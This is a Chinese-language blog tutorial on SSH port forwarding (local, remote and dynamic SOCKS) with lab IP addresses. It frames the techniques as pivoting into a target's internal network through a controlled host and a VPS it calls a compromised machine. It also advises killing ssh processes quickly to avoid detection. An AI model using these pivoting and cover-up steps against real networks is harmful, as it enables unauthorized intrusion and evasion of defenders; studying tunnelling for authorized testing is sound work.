SSH隧道

参考文章:https://klionsec.github.io/2016/09/21/ssh-portforward/

介绍:

通过SSH协议在两个主机中建立的隧道技术,并且能实现转发功能,在SSH隧道中传输的流量是经过加密的,为SSH隧道。

SSH协议参数:

-C  压缩传输数据,加快传输速度
-f  后台对用户名密码进行认证
-N  仅仅只用来转发,不用再弹回一个新的shell
-n  后台运行
-q  安静模式,不要显示警告等信息
-l  指定ssh登录名
-g  允许远程主机连接到本地转发的端口     
-L  进行本地端口转发
-R  进行远程端口转发
-D  动态转发,即socks代理
-T  禁止分配伪终端
-p  指定远程ssh服务端口

-L port:host:hostport 
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-D port 
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

既然是转发,肯定少不了个中间人,这个中间人到底是谁呢,其实就是@后面的机器
实际的应用场景比较多,比如企业内部代理上网,个人FQ,其实用的都是类似的东西...
但对于渗透来讲,我们用的最多的可能还是让目标内网中一些不能正常连网的机器也能通过此方式来正常上线


SSH转发的类型

SSH隧道转发有三种,一种是本地端口转发,远程端口转发,动态隧道模式。

第一种本地端口转发:
ssh -C -f -N -g -L [本地机器ip]:本地机器指定的端口:远程机器ip:远程机器指定的端口 root@vpsip -p vpsssh的服务端口

环境:
win2008cn ip: 192.168.32.170 假设为目标内网中的一台windows机器,不能连公网
MidLAMP [centOS6.8_x64] ip: 192.168.32.193 假设为目标内网中的一台linux机器,能正常连公网
win2008R2cn ip: 192.168.3.23 假设为目标公网中的一台windows机器,rdp只能通过192.168.3.x这个ip段访问
lnmp01 [centOS6.8_x64] ip: 192.168.3.30 假设为自己公网的vps[一般都会用一台公网的linux肉鸡],等会儿主要用来负责ssh转发

实现:win2008cn实现连接win2008R2cn的rdp

我们可以通过:

MidLamp:ssh -CfNg -L 192.168.32.193:1234:192.168.3.23:3389 klion@192.168.3.30 -p 22

注意:这里的192.168.32.193要填写的原因是我们可以使用-g来复用网关,达到内网机器都可以使用这个来进行传输。

此时回到win2008cn这台机器上访问MidLAMP的1234端口就相当于访问win2008R2cn的3389

win2008cn:mstsc 192.168.32.193:1234

用完以后记得立马把ssh进程kill掉,尽量别被发现

ps -le | grep ssh
netstat -tulnp
killall ssh

本地端口转发注意的是:转发端口能给网段内的机器复用,所以在这里-g参数是失效的。


第二种远程端口转发:

ssh -CfNg -R [本地机器:]本地机器指定端口:指定的内网机器:指定内网机器上的指定端口 root@公网中转机器 -p ssh服务端口

环境:
win7en ip: 192.168.32.195 假设为自己本地内网中的一台windows机器
MidLAMP [centOS6.8_x64] ip: 192.168.32.193 假设为目标内网中的一台linux机器,能正常连公网
win2008cn ip: 192.168.32.170 假设为目标内网中的一台windows机器,不能连公网
lnmp01 [centOS6.8_x64] ip: 192.168.3.30 假设为自己公网的vps[一般都会用一台公网的linux肉鸡],等会儿主要用来负责ssh转发

假设我现在想实现这样的效果,我想在自己本地的机器上[win7en],通过lnmp01这台中转机来访问目标内网中的win2008cn机器,就可以这样做
在目标内网已控的linux机器上[MidLAMP]执行下面的转发,速度可能会稍慢

MidLAMP:ssh -CfNg -R 0.0.0.0:2500:192.168.32.170:3389 root@192.168.3.30 -p 22

然后win7en:mstsc 192.168.3.30:2500

注意:1、这里的远程端口转发,建立的监听端口是在外网的vps上。2、远程端口转发端口不能复用,所以-g来复用网关 这个参数是无效的。


第三种:动态隧道模式(socks代理)

ssh的socks代理默认是 socks 4/5

还是接着上面的话题,如果我们想进一步对目标内网进行渗透,每次都一个个端口进行转发估计要累死

环境:
MidLAMP [centOS6.8_x64] ip: 192.168.32.193 假设为目标内网中的一台linux机器,能正常连公网
lnmp01 [centOS6.8_x64] ip: 192.168.3.30 假设为自己公网的vps[一般都会用一台公网的linux肉鸡],等会儿主要用来负责ssh转发

MidLAMP:ssh -qTfnN -D 0.0.0.0:1080 root@192.168.3.30 -p 22

posted @ 2019-10-22 22:42  zpchcbd  阅读(717)  评论(0编辑  收藏  举报